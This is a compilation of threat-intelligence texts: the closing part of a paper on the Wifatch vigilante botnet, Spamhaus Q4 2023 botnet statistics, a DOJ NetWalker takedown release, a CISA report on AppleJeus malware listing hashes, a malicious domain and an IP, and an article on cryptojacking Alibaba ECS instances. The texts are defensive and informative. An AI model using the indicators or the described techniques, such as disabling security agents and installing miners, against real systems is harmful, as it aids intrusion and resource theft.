Although it is concerning, the researchers have found that the commands that were passed through the backdoor were cryptographically signed. In other words, this indicates that only the original author would be able to control what it does. In turn, this cuts the chances of the said malware being manipulated by malicious hijackers. Interestingly enough, the Internet is claimed to be at a safer state – all thanks to Wifatch.
## IV. THE GOOD AND THE BAD
With over a year spent on ways to reliably shut down Telnet’s port, implementing malware detection, and functions for disinfecting the system, on top of the technicalities within bootstrapping a botnet – everything within Wifatch’s functionalities was a challenge.
Wifatch was never meant to be kept a secret, and upon agreement of free licensing under General Public License – it was made public. The creator firmly stated that although the created malware holds no ill intentions – users should not use this as a form of comfort and safety. The known issues and security holes must be dealt with immediately. It does not utilize 0day exploits, nor elaborate backdoors to infiltrate a system, and its target only comprises of unprotected devices.
Users are open to experiment with the codes available on almost an x86 or AMD64 Linux Kernel by loading them on the same directory with stable network access in order to connect to the P2P network with the option of obtaining the extension modules and upgrading the bot. It will create a database directory upon finding a suitable mountpoint. Users must keep in mind that there is no warranty for self-experimentation. Not only that, users are encouraged to volunteer to help as more reliable machines are needed in order to serve as a backend database for malware signatures.
Generally, this botnet requires full network access to enable it to scan vulnerable devices. It is reachable via UDP and TCP with the range 32769 – 65534. Infections are carried out from a centralized point, and only a single keypress is needed if anything goes sour.
When asked if the same creator was behind Carna botnet, it was declined. Inspiration was derived from the collected data of the said botnet. The team remains anonymous, though goes by the name “The White Team”.
## V. BACKGROUND
Inspired by Carna botnet, the idea of Wifatch was to challenge the idea of not being able to create something of similar sorts whereby it challenges the existing security level of embedded devices. It is considered to be “virtually nonexistent”, and thus giving rise for the need to “protect” these vulnerable users. As Carna botnet before it, it was crucial to act against the vulnerability that existed.
## VI. INFECTION STATISTICS
Figure 1 depicts the three major architectures that were found to be infected with this malware. ARM architecture is most prevalent as it is the most used firmware partnered with complimenting cores known to be used by multiple successful companies such as Apple, Nvidia, Qualcomm, and even Samsung Electronics. This makes up the majority of mobile devices and embedded systems. MiPS is known to be used in gaming consoles, supercomputers, and even in automobiles. Certain embedded systems utilize SH4 in cellular phones, LCD TVs, and NAS. Whilst not included in the chart – it is reported that X86 and PowerPC holds a miniscule percentage of 0.132 of total infection percentage.
Based on figure 2, the countries affected are listed down accordingly. However, it is to be noted that the percentage breakdown may not be as depicted as the malware is removed upon resetting the said infected device. It may also become infected after time if the router’s firmware is not up to date, or is still using its default password.
## VII. CONCLUSION
While the creation is meant for good use, the users should never grow too comfortable in relying on a white-hat malware to take care of a security issue when it could have been issued with as simple as changing the default credentials of a router. As quoted by Harrington (n.d.), “Violating systems as a path to remediation is not the right way to go”.
There could never be a general consensus on whether or not this malware holds more potential in harming, or protecting one’s device. The debate lies in the nature of how secure the device is to begin with. A protected hardware would not have contracted the malware in the first place. An invasion of privacy is still what it is even if it is doing no harm. In the end, there is little that could be done if not for the mindset of the users themselves to initiate the change.
## REFERENCES
1. Fisher, T. (n.d.). What Is Malware? Retrieved April 09, 2018.
2. What is Malicious Software (Malware)? - Definition from Techopedia. (n.d.). Retrieved April 09, 2018.
3. Lee, In & Lee, Kyoochun. (2015). The Internet of Things (IoT): Applications, investments, and challenges for enterprises. Business Horizons. 58. 10.1016/j.bushor.2015.03.008.
4. Burgess, M. (2018, February 16). What is the Internet of Things? WIRED explains. Retrieved April 09, 2018.
5. Pastrana, S., Rodriguez-Canseco, J., & Calleja, A. (2016). ArduWorm: A Functional Malware Targeting Arduino Devices.
6. Is there an Internet-of-Things vigilante out there? (n.d.). Retrieved April 09, 2018.
7. Kovacs, E. (2015). Retrieved April 09, 2018.
8. Linux.Wifatch: The Router Virus That May Be Secretly Defending You From Other Malware. (n.d.). Retrieved April 09, 2018.
9. Beneficial Malware? It's a Thing... (n.d.). Retrieved April 09, 2018.
10. Russon, M. (2015, October 02). Linux.Wifatch: Routers hacked by 'white hat' virus that makes them more secure against malware. Retrieved April 09, 2018.
11. Fox-Brewster, T. (2015, October 09). Meet The Mystery Vigilantes Who Created 'Malware' To Secure 10,000 Routers. Retrieved April 09, 2018.
|
# Spamhaus Botnet Threat Update Q4 2023
The number of botnet command and control (C&C) servers soared in Q4 2023, growing by 16%. Activity increased globally, with a significant spike in Bulgaria, but it was China, the United States, and Russia leading the pack. Along with Cobalt Strike contributing to the increase in numbers, there was a growing popularity in Remote Access Trojans (RATs), most notably QuasarRAT, which experienced a 341% increase. There’s disappointing news relating to a surge in active botnet C&Cs across big-name networks.
## About this report
Spamhaus tracks both Internet Protocol (IP) addresses and domain names used by threat actors for hosting botnet command & control (C&C) servers. This data enables us to identify associated elements, including the geolocation of the botnet C&Cs, the malware associated with them, the top-level domains used when registering a domain for a botnet C&C, the sponsoring registrars, and the network hosting the botnet C&C infrastructure.
## Spotlight
Despite the duck’s demise, Pikabot and DarkGate thrive! It’s been nearly six months since the Qakbot takedown, involving an internationally coordinated effort led by the Federal Bureau of Investigation (FBI). With the infamous malware’s infrastructure finally dismantled, we all took a sigh of relief. Albeit, this was short-lived. Two other malware threats - Pikabot and DarkGate - quickly emerged as new adversary favorites.
### How do these threats work?
Pikabot is a backdoor, while DarkGate is a Remote Access Trojan (RAT) primarily acting as a downloader. But they have one thing in common - the ability to download and execute additional payloads to the infected machine. It’s for this reason miscreants choose these malware families to deliver malicious files to their victims, a feature that would appeal to those whose preference was previously Qakbot.
## Number of botnet C&Cs observed, Q4 2023
In Q4 2023, Spamhaus identified 8,174 botnet C&Cs compared to 7,052 in Q3 2023. This was a 16% increase quarter on quarter. The monthly average increased from 2,351 in Q3 to 2,725 botnet C&Cs per month in Q4 2023.
### What are botnet command & controllers?
A ‘botnet controller,’ ‘botnet C2’ or ‘botnet command & control’ server is commonly abbreviated to ‘botnet C&C.’ Fraudsters use these to control malware-infected machines and extract personal and valuable data from malware-infected victims. Botnet C&Cs play a vital role in operations conducted by cybercriminals who are using infected machines to send out spam or ransomware, launch DDoS attacks, commit e-banking fraud or click-fraud, or mine cryptocurrencies such as Bitcoin. Desktop computers and mobile devices, like smartphones, aren’t the only machines that can become infected. There is an increasing number of devices connected to the internet, for example, the Internet of Things (IoT), devices like webcams, network attached storage (NAS), and many more items. These are also at risk of becoming infected.
## Geolocation of botnet C&Cs, Q4 2023
China remains in pole position, having knocked the U.S.A. off the top spot in Q3. In Q4, the number of botnets hosted in the country continued to increase by a further 35% to 2,125, showing no signs of slowing down. Alongside China, the U.S.A. and Russia take the lead with significant percentage increases in botnet C&Cs - 27% and 39%, respectively. However, the award for the most significant growth in Q4 goes to Bulgaria, with a whopping 227% increase, disappointing after the previous -44% decrease in Q3.
In contrast to Q3, most geolocations experienced an increase in the number of botnet C&Cs, except for India (-44%), Canada (-41%), Mexico (-39%), United Kingdom (-21%), and Uruguay (-6%). Meanwhile, South Africa and Switzerland departed from the Top 20.
### Top 20 locations of botnet C&Cs
| Rank | Country | Q3 2023 | Q4 2023 | % Change |
|------|------------------|---------|---------|----------|
| #1 | China | 1570 | 2125 | 35% |
| #2 | United States | 1267 | 1606 | 27% |
| #3 | Russia | 441 | 612 | 39% |
| #4 | Netherlands | 542 | 603 | 11% |
| #5 | Germany | 378 | 478 | 26% |
| #6 | France | 242 | 322 | 33% |
| #7 | Bulgaria | 64 | 209 | 227% |
| #8 | Singapore | 164 | 190 | 16% |
| #9 | United Kingdom | 221 | 175 | -21% |
| #10 | Uruguay | 170 | 160 | -6% |
| #11 | Saudi Arabia | 153 | 159 | 4% |
| #12 | Mexico | 232 | 141 | -39% |
| #13 | Japan | 70 | 111 | 59% |
| #14 | Finland | 78 | 102 | 31% |
| #15 | Canada | 157 | 92 | -41% |
| #16 | Poland | - | 90 | New entry |
| #17 | Sweden | 69 | 80 | 16% |
| #18 | Korea (Rep. of) | 73 | 74 | 1% |
| #19 | India | 123 | 69 | -44% |
| #20 | Turkey | - | 55 | New entry |
## Malware associated with botnet C&Cs, Q4 2023
Cobalt Strike is on the rise. After entering its sixth quarter as the malware associated with the largest number of botnet C&Cs, Cobalt Strike maintained its usual form in Q4, with a 26% increase. The penetration testing tool is now associated with over four times more botnet C&Cs than its closest competitor, AsyncRat, at number two.
### QuasarRAT climbs the charts
Speaking of Remote Access Tools – QuasarRAT experienced a significant increase (341%), moving this malware’s rank from #12 to #5 in Q4. This comes as no surprise, considering that it is an open-source tool; anyone can set up a server and use it.
### Malware families associated with botnet C&Cs
| Rank | Q3 2023 | Q4 2023 | % Change | Malware Family | Description |
|------|---------|---------|----------|----------------|-------------|
| #1 | 2491 | 3137 | 26% | Cobalt Strike | Pentest Framework |
| #2 | 373 | 710 | 90% | AsyncRAT | Remote Access Trojan (RAT) |
| #3 | 285 | 515 | 81% | Sliver | Pentest Framework |
| #4 | 646 | 513 | -21% | Flubot | Android Backdoor |
| #5 | 75 | 331 | 341% | QuasarRAT | Remote Access Trojan (RAT) |
| #6 | 341 | 329 | -4% | Remcos | Remote Access Trojan (RAT) |
| #7 | 273 | 286 | 5% | RedLineStealer | Remote Access Trojan (RAT) |
| #8 | 197 | 229 | 16% | DCRat | Remote Access Trojan (RAT) |
| #9 | - | 223 | New entry | Hook | Android Backdoor |
| #10 | - | 198 | New entry | Pikabot | Backdoor |
| #11 | - | 181 | New entry | FakeUpdates | Loader/downloader |
| #12 | 797 | 145 | -82% | Qakbot | Backdoor |
| #13 | 186 | 111 | -40% | IcedID | Credential Stealer |
| #14 | - | 88 | New entry | Meterpreter | Backdoor |
| #15 | 89 | 78 | -12% | NjRAT | Remote Access Trojan (RAT) |
| #16 | 63 | 77 | 22% | Havoc | Backdoor |
| #17 | - | 66 | New entry | BianLian | Ransomware |
| #18 | - | 49 | New entry | Lumma | Credential Stealer |
| #19 | 53 | 45 | -15% | Rhadamanthys | Credential Stealer |
| #20 | 269 | 42 | -84% | RecordBreaker | Credential Stealer |
## Most abused top-level domains, Q4 2023
Registries with a greater number of active domains have greater exposure to abuse. For example, in Q4 2023, .com had more than 157m domains, of which 0.00076% were associated with botnet C&Cs. Meanwhile, .pw had approximately 17k domains, of which 0.959% were associated with botnet C&Cs. Both are in the top three of our listings.
### Top abused TLDs - number of domains
| Rank | Q3 2023 | Q4 2023 | % Change | TLD | Note |
|------|---------|---------|----------|-----|------|
| #1 | 1904 | 1199 | -37% | com | gTLD |
| #2 | 153 | 167 | 9% | pw | ccTLD |
| #3 | - | 144 | New entry | xyz | gTLD |
| #4 | 93 | 124 | 33% | top | gTLD |
| #5 | - | 120 | New entry | fun | gTLD |
| #6 | - | 93 | New entry | online | gTLD |
| #7 | 35 | 90 | 157% | org | gTLD |
| #8 | 130 | 87 | -33% | info | gTLD |
| #9 | 80 | 81 | 1% | site | gTLD |
| #10 | - | 71 | New entry | net | gTLD |
| #11 | 109 | 60 | -45% | hair | gTLD |
| #12 | 201 | 49 | -76% | beauty | gTLD |
| #13 | 220 | 35 | -84% | makeup | gTLD |
| #14 | 66 | 35 | -47% | ru | ccTLD |
| #15 | 164 | 32 | -80% | best | gTLD |
| #16 | - | 28 | New entry | store | gTLD |
| #17 | - | 27 | New entry | cloud | gTLD |
| #18 | - | 26 | New entry | icu | gTLD |
| #19 | - | 23 | New entry | me | ccTLD |
| #20 | 64 | 22 | -66% | cfd | gTLD |
## Most abused domain registrars, Q4 2023
Regular readers will be used to seeing Indian-based PDR in the Top 20. However, this is the first time it has been seen here at #1. Incidentally, this is reflected in the geolocation of the most abused domain registrars, with India claiming a 20.37% slice of the pie, second to The U.S.A. at 33.55%.
### Most abused domain registrars - number of domains
| Rank | Q3 2023 | Q4 2023 | % Change | Registrar | Country |
|------|---------|---------|----------|------------------|--------------|
| #1 | 211 | 510 | 142% | PDR | India |
| #2 | 1162 | 378 | -67% | NameSilo | Canada |
| #3 | 193 | 351 | 82% | NameCheap | United States |
| #4 | 1106 | 243 | -78% | Sav | United States |
| #5 | - | 167 | New entry | Danesco | Cyprus |
| #6 | - | 149 | New entry | GoDaddy.com | United States |
| #7 | - | 121 | New entry | Nicenic | China |
| #8 | 23 | 89 | 287% | RegRU | Russia |
| #9 | 69 | 67 | -3% | Tucows | Canada |
| #10 | 17 | 63 | 271% | Hostinger | Lithuania |
| #11 | - | 51 | New entry | Gname.com | Singapore |
| #12 | - | 48 | New entry | Hosting concepts | Netherlands |
| #13 | 14 | 43 | 207% | PSI | Japan |
| #14 | 43 | 40 | -7% | Alibaba | China |
| #15 | 123 | 39 | -68% | CloudFlare | United States |
| #16 | 16 | 38 | 138% | Name.com | United States |
| #17 | - | 34 | New entry | Eranet | China |
| #18 | - | 33 | New entry | WebNIC | China |
| #19 | - | 20 | New entry | OwnRegistrar | United States |
| #20 | - | 20 | New entry | GMO | Japan |
## Networks hosting the most newly observed botnet C&Cs, Q4 2023
While this Top 20 listing illustrates that there may be an issue with customer vetting processes at the named network, it doesn’t reflect on the speed that abuse desks deal with reported problems.
### Networks hosting the most newly observed botnet C&Cs
| Rank | Q3 2023 | Q4 2023 | % Change | Network | Country |
|------|---------|---------|----------|------------------|--------------|
| #1 | 644 | 837 | 30% | tencent.com | China |
| #2 | 398 | 623 | 57% | alibaba-inc.com | China |
| #3 | 294 | 321 | 9% | amazon.com | United States |
| #4 | 261 | 279 | 7% | digitalocean.com | United States |
| #5 | 106 | 210 | 98% | constant.com | United States |
| #6 | 104 | 189 | 82% | huawei.com | China |
| #7 | 115 | 170 | 48% | ovh.net | France |
| #8 | 160 | 168 | 5% | hetzner.com | Germany |
| #9 | - | 164 | New entry | limenet.io | United States |
| #10 | 170 | 160 | -6% | antel.net.uy | Uruguay |
| #11 | 152 | 157 | 3% | stc.com.sa | Saudi Arabia |
| #12 | 103 | 152 | 48% | neterra.net | Bulgaria |
| #13 | 89 | 142 | 60% | microsoft.com | United States |
| #14 | 229 | 139 | -39% | uninet.net.mx | Mexico |
| #15 | - | 115 | New entry | contabo.de | Germany |
| #16 | 84 | 108 | 29% | colocrossing.com | United States |
| #17 | - | 100 | New entry | megalayer.net | China |
| #18 | 63 | 87 | 38% | aeza.net | Russia |
| #19 | - | 85 | New entry | google.com | United States |
| #20 | - | 83 | New entry | linode.com | United States |
## Networks hosting the most active botnet C&Cs, Q4 2023
The Top 20 providers with botnet C&C issues had 946 active botnet C&Cs on their networks in Q4. Of these, popular networks, tencent.com (#1), alibaba-inc.com (#2), digitalocean.com (#3), ovh.com (#4), and amazon.com (#5) accounted for almost 60% of the most active botnet C&Cs.
### Networks hosting the most active botnet C&Cs
| Rank | Q3 2023 | Q4 2023 | % Change | Network | Country |
|------|---------|---------|----------|------------------|--------------|
| #1 | 181 | 200 | 10% | tencent.com | China |
| #2 | 95 | 147 | 55% | alibaba-inc.com | China |
| #3 | 62 | 89 | 44% | digitalocean.com | United States |
| #4 | 39 | 67 | 72% | ovh.net | France |
| #5 | 38 | 59 | 55% | amazon.com | United States |
| #6 | 23 | 54 | 135% | hetzner.com | Germany |
| #7 | 22 | 43 | 95% | google.com | United States |
| #8 | 34 | 35 | 3% | huawei.com | China |
| #9 | 15 | 33 | 120% | constant.com | United States |
| #10 | 20 | 31 | 55% | microsoft.com | United States |
| #11 | 12 | 29 | 142% | contabo.de | Germany |
| #12 | 14 | 28 | 100% | colocrossing.com | United States |
| #13 | - | 21 | New entry | itldc.com | United States |
| #14 | - | 18 | New entry | limenet.io | United States |
| #15 | - | 17 | New entry | free-h.org | France |
| #16 | - | 17 | New entry | linode.com | United States |
| #17 | - | 15 | New entry | aeza.net | Russia |
| #18 | 18 | 15 | -17% | simcentric.com | China |
| #19 | - | 14 | New entry | m247.com | Romania |
| #20 | 14 | 14 | 0% | quadranet.com | United States |
That’s all for now. Stay safe, and we’ll see you in June 2024!
|
# Department of Justice Launches Global Action Against NetWalker Ransomware
**January 27, 2021**
**Department of Justice**
**Office of Public Affairs**
The Department of Justice today announced a coordinated international law enforcement action to disrupt a sophisticated form of ransomware known as NetWalker. NetWalker ransomware has impacted numerous victims, including companies, municipalities, hospitals, law enforcement, emergency services, school districts, colleges, and universities. Attacks have specifically targeted the healthcare sector during the COVID-19 pandemic, taking advantage of the global crisis to extort victims.
“We are striking back against the growing threat of ransomware by not only bringing criminal charges against the responsible actors, but also disrupting criminal online infrastructure and, wherever possible, recovering ransom payments extorted from victims,” said Acting Assistant Attorney General Nicholas L. McQuaid of the Justice Department’s Criminal Division. “Ransomware victims should know that coming forward to law enforcement as soon as possible after an attack can lead to significant results like those achieved in today’s multi-faceted operation.”
The NetWalker action includes charges against a Canadian national in relation to NetWalker ransomware attacks in which tens of millions of dollars were allegedly obtained, the seizure of approximately $454,530.19 in cryptocurrency from ransom payments, and the disablement of a dark web hidden resource used to communicate with NetWalker ransomware victims.
“This action reflects the resolve of the U.S. Attorney’s Office for the Middle District of Florida to target and disrupt sophisticated, international cybercrime schemes,” said U.S. Attorney Maria Chapa Lopez for the Middle District of Florida. “While these individuals believe they operate anonymously in the digital space, we have the skill and tenacity to identify and prosecute these actors to the full extent of the law and seize their criminal proceeds.”
According to court documents, NetWalker operates as a so-called ransomware-as-a-service model, featuring “developers” and “affiliates.” Developers are responsible for creating and updating the ransomware and making it available to affiliates. Affiliates are responsible for identifying and attacking high-value victims with the ransomware, according to the affidavit. After a victim pays, developers and affiliates split the ransom.
“This case illustrates the FBI’s capabilities and global partnerships in tracking ransomware attackers, unmasking them, and holding them accountable for their alleged criminal actions,” said Special Agent in Charge Michael F. McPherson of the FBI’s Tampa Field Office. “If you are a victim of ransomware, contact your local FBI field office or submit a tip to tips.fbi.gov. You can also file a complaint with the FBI’s Internet Crime Complaint Center at www.ic3.gov.”
According to the affidavit, once a victim’s computer network is compromised and data is encrypted, actors that deploy NetWalker deliver a file, or ransom note, to the victim. Using Tor, a computer network designed to facilitate anonymous communication over the internet, the victim is then provided with the amount of ransom demanded and instructions for payment.
Actors that deploy NetWalker commonly gain unauthorized access to a victim’s computer network days or weeks prior to the delivery of the ransom note. During this time, they surreptitiously elevate their privileges within the network while spreading the ransomware from workstation to workstation. They then send the ransom note only once they are satisfied that they have sufficiently infiltrated the victim’s network to extort payment, according to the affidavit.
According to an indictment unsealed today, Sebastien Vachon-Desjardins of Gatineau, a Canadian national, was charged in the Middle District of Florida. Vachon-Desjardins is alleged to have obtained at least over $27.6 million as a result of the offenses charged in the indictment.
The Justice Department further announced that on Jan. 10, law enforcement seized approximately $454,530.19 in cryptocurrency, which was comprised of ransom payments made by victims of three separate NetWalker ransomware attacks. This week, authorities in Bulgaria also seized a dark web hidden resource used by NetWalker ransomware affiliates to provide payment instructions and communicate with victims. Visitors to the resource will now find a seizure banner that notifies them that it has been seized by law enforcement authorities.
The investigation was led by the FBI’s Tampa field office. Trial Attorneys S. Riane Harper and Brian Mund of the Criminal Division’s Computer Crime and Intellectual Property Section and Assistant U.S. Attorneys Carlton C. Gammons and Suzanne Nebesky of the U.S. Attorney’s Office for the Middle District of Florida are prosecuting the case against Vachon-Desjardins. Substantial assistance was provided by the Department of Justice’s Office of International Affairs. Additionally, the Bulgarian National Investigation Service and General Directorate Combating Organized Crime provided substantial assistance in the seizure of the dark web hidden resource.
An indictment is merely an allegation. A defendant is presumed innocent until proven guilty beyond a reasonable doubt in a court of law.
|
# AppleJeus: Union Crypto
**Malware Analysis Report**
**Date:** 2021-02-12
**Notification**
This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of the information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise. This document is marked TLP:WHITE—Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed. For more information on the Traffic Light Protocol (TLP), see [us-cert.gov/tlp](http://www.us-cert.gov/tlp).
## Summary
### Description
This Malware Analysis Report (MAR) is the result of analytic efforts among the Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Department of Treasury (Treasury) to highlight the cyber threat to cryptocurrency posed by North Korea, formally known as the Democratic People's Republic of Korea (DPRK), and provide mitigation recommendations. Working with U.S. government partners, FBI, CISA, and Treasury assess that these agencies attribute to North Korean state-sponsored advanced persistent threat (APT) actors targeting individuals and companies, including exchanges and financial service companies, through the dissemination of cryptocurrency trading applications that have been modified to include malware for the theft of cryptocurrency.
This MAR highlights the cyber threat posed by North Korea and provides detailed indicators of compromise (IOCs) used by the North Korean government. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on other versions of AppleJeus malware and recommended steps to mitigate this threat, see Joint Cybersecurity Advisory AA21-048A: AppleJeus: Analysis of North Korea's Cryptocurrency Malware.
There have been multiple versions of AppleJeus malware discovered since its initial discovery in August 2018. In most versions, the malware appears as a legitimate-looking cryptocurrency trading company and website, whereby an unsuspecting individual downloads a third-party application from a website that appears legitimate.
The U.S. Government has identified AppleJeus malware version—Union Crypto—and associated IOCs used by the North Korean government. Union Crypto, discovered by a cybersecurity company in December 2019, is a legitimate-looking cryptocurrency trading software that is marketed under the company and website—Union Crypto and unioncrypto.vip, respectively.
### Submitted Files (8)
- `01c13f825ec6366ac2b6dd80e5589568fa5c8685cb4d924d1408e3d7c178902f` (UnionCryptoUpdater.exe)
- `0967d2f122a797661c90bc4fc00d23b4a29f66129611b4aa76f62d8a15854d36` (UnionCryptoTrader.exe)
- `2ab58b7ce583402bf4cbc90bee643ba5f9503461f91574845264d4f7e3ccb390` (UnionCryptoTrader.dmg)
- `631ac269925bb72b5ad8f469062309541e1edfec5610a21eecded75a35e65680` (unioncryptoupdater)
- `6f45a004ad6bb087f733feb618e115fe88164f6db9562cb9b428372c9add75f0` (UnionCryptoTrader)
- `755bd7a3765efceb8183ffade090ef2637a85c4505f8078dda116013dd5758f3` (NodeDLL.dll)
- `af4144c1f0236e6b59f40d88635ec54c2ef8034f6a96a83f5dbfd6b8ea2c0d49` (UnionCryptoTrader.msi)
- `e3623c2440b692f6b557a862719dc95f41d2e9ad7b560e837d3b59bfe4b8b774` (UnionCryptoSetup.exe)
### Domains
- unioncrypto.vip
### IPs
- 216.189.150.185
## Findings
### Tags
- trojan
### Details
**Name:** UnionCryptoSetup.exe
**Size:** 30330443 bytes
**Type:** PE32 executable (GUI) Intel 80386, for MS Windows
**MD5:** 24b3614d5c5e53e40b42b4e057001770
**SHA1:** b040433fb50d679b2e287d7fcc1667a415fb60b0
**SHA256:** e3623c2440b692f6b557a862719dc95f41d2e9ad7b560e837d3b59bfe4b8b774
**SHA512:** 55e9c7f59189e395b6b348d9fa8b4b907d0cedd790a33603a49ac857f5a07b205f8787fab0c7a9954e992852e6e5090f3cbf2243e86bb2
**ssdeep:** 786432:Dj2fi5nBGPBMNekleUtOaZ13vcdkIXX0kfp:+65AP+QAeUtOKvc+c0kR
**Entropy:** 7.984564
### Antivirus
- Filseclab: W32.ELEX.L.erpg.mg
- Microsoft Security Essentials: Trojan:Win32/UnionCryptoTrader!ibt
### YARA Rules
- No matches found.
### ssdeep Matches
- No matches found.
### PE Metadata
- **Compile Date:** 2018-09-20 09:08:01-04:00
- **Import Hash:** cbc19a820310308f17b0a7c562d044e0
- **Company Name:** UnionCrypto Co.Ltd
- **File Description:** Union Crypto Trader
- **Internal Name:** UnionCryptoTraderSetup.exe
- **Legal Copyright:** © UnionCrypto Corporation. All Rights Reserved.
- **Original Filename:** UnionCryptoTraderSetup.exe
- **Product Name:** Union Crypto Trader
- **Product Version:** 1.0.23.474
### PE Sections
| MD5 | Name | Raw Size | Entropy |
| --- | ---- | -------- | ------- |
| 566abfd43bde6dda239bf28ac9b087ae | header | 1024 | 2.960546 |
| 764b34cabee1111c9e11c8f836aebafb | .text | 608256 | 6.539792 |
| 7989312225f01ce65374248a3e73a557 | .rdata | 189440 | 4.588598 |
| 1ac52732b5e747734a833e523cd8f27f | .data | 10240 | 4.418143 |
| 3afae9bb129e782e05f70b3416946646 | .rsrc | 434688 | 6.340500 |
| d11bf51446bb40b38f82ba6ce1f57dc4 | .reloc | 162816 | 2.478756 |
### Packers/Compilers/Cryptors
- Microsoft Visual C++ ?.?
### Relationships
- e3623c2440... Contains af4144c1f0236e6b59f40d88635ec54c2ef8034f6a96a83f5dbfd6b8ea2c0d49
### Description
This Windows program from the Union Crypto Trader site is a Windows executable. This executable is actually an installer, and will first extract a temporary file, UnionCryptoTrader.msi, to the “C:\Users\<username>\AppData\Local\Temp\{90F7-4BD1-9CF1-56CD777E0C42}” folder, which will be executed by "UnionCryptoTraderSetup.exe" and deleted after it successfully completes the installation.
### Recommendations
CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organizations. Configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless necessary.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file type).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication "Guide to Malware Incident Prevention & Handling for Desktops and Laptops".
|
# Groups Target Alibaba ECS Instances for Cryptojacking
November 15, 2021
It’s been known that threat actors are actively exploiting misconfigured Linux-powered servers, regardless of whether they run on-premises or in the cloud. The compromised devices are mostly used for cryptojacking purposes with the dominance of mining for the digital currency Monero. One notorious example is TeamTNT, one of the first hacking groups shifting its focus to cloud-oriented services.
The cryptojacking battlefield is shared by multiple threat actors such as Kinsing and TeamTNT, amongst others. Two common characteristics that they share in their code are to remove competing actors who are also mining for cryptocurrency and disable security features found in the victim machine. This provides them an advantage over the hijacked resources, such as the example of an advanced system sanitation that we identified targeting Huawei Cloud.
In this article, we focus on one common functionality that we found amongst multiple payloads: the disabling of features inside the Alibaba cloud service provider (CSP). We also look at possible reasons that multiple threat actors and malware routines focused on Alibaba Cloud (also known as Aliyun) and the implications of these illicit mining activities on Alibaba Cloud users.
We have reached out to the Alibaba Cloud Team through their listed contact information prior to the publication of this blog, and we are waiting for their response with regard to this concern.
## Looking into Alibaba ECS
Alibaba Elastic Computing Service (ECS) instances come with a preinstalled security agent. As a result, the threat actors try to uninstall it upon compromise. This is no surprise as we have seen similar payloads in the past. However, this time we found a specific code in the malware creating firewall rules to drop incoming packets from IP ranges belonging to internal Alibaba zones and regions.
In addition, the default Alibaba ECS instance provides root access. While other CSPs provide different options ranging from the least privileged ones—such as not allowing Secure Shell (SSH) authentication over user and password and only allowing asymmetric cryptography authentication—other CSPs do not allow the user to log in via SSH directly by default, so a less privileged user is required.
For instance, if the login secrets are leaked, having low-privilege access would require attackers enhanced effort to escalate the privileges. With Alibaba, however, all users have the option to give a password straight to the root user inside the virtual machine (VM).
Security-wise, this is in contradiction with the principle of least privilege, and it should be emphasized that this is the responsibility of the user for a secure configuration. We highly recommend creating a less privileged user for running applications and services within the ECS instance.
In this situation, the threat actor has the highest possible privilege upon compromise, including vulnerability exploitation, any misconfiguration issue, weak credentials, or data leakage. Thus, advanced payloads such as kernel module rootkits and achieving persistence via running system services can be deployed. Given this feature, it comes as no surprise that multiple threat actors target Alibaba Cloud ECS simply by inserting a code snippet for removing software found only in Alibaba ECS.
## Cryptojacking Aliyun
When a cryptojacking malware is running inside Alibaba ECS, the security agent installed will send a notification of a malicious script running. It then becomes the responsibility of the user to stop the ongoing infection and malicious activities. Alibaba Cloud Security provides a guide on how to do this. More importantly, it is always the responsibility of the user to prevent this infection from happening in the first place.
Despite detection, the security agent fails to clean the running compromise and gets disabled. Looking at another malware sample shows that the security agent was also uninstalled before it could trigger an alert for compromise. The samples then proceeded to install an XMRig. Examining the samples further shows that the cryptominer can easily be replaced with another malware to execute in the environment.
It is also important to note that Alibaba ECS has an auto scaling feature, wherein users and organizations can enable the service to automatically adjust computing resources based on the volume of user requests. When the demand increases, auto scaling allows the ECS instances to serve the said requests according to the enumerated policies. While the feature is given to subscribers at no extra cost, the increase in resource usage prompts additional charges. By the time the billing arrives to the unwitting organization or user, the cryptominer has likely already incurred additional costs. Additionally, the legitimate subscribers have to manually remove the infection to clean the infrastructure of the compromise.
The samples our team acquired can be tied to campaigns targeting Alibaba, and we found these samples sharing common traits, functions, and functionalities with other campaigns that also target CSPs in Asia such as Huawei Cloud. There have also been other reports of these compromise detections.
The samples from both campaigns share common traits, especially when it comes to removing “adversaries” and setting up the environment for next-phase infections, such as making sure to use a public DNS. Although the style in coding is different, the purpose of the functions is similar on both attacks.
## Mitigating the impact of threats on Alibaba ECS workloads
A performance penalty is one consequence of leaving a cryptojacking campaign running within the Alibaba cloud infrastructure, as the cryptomining process consumes a lot of resources. Moreover, in situations where users set their instances with the auto scaling feature, they can end up with unexpected costs to their subscriptions.
Seeing how easily the compromise can be scaled, attackers can also easily replace the malicious cryptominer with another piece of malware that can potentially drive them more profit or spread to other workloads and endpoints. Subsequent attacks can be done on the projects or infrastructure as a result of how easy it is to infiltrate the environment with high user privileges. We continue to study the malicious activities that can be deployed in the infrastructure. We also list here some best practices for organizations to follow:
- Practice a shared responsibility model. Both CSPs and users have a responsibility to ensure that security configurations of workloads, projects, and environments are safe.
- Read through the guides, customize, and enable the security layers of workloads and projects accordingly. Enable policies that can best help secure the cloud environment and ensure that it has more than one layer of malware-scanning and vulnerability-detection tools.
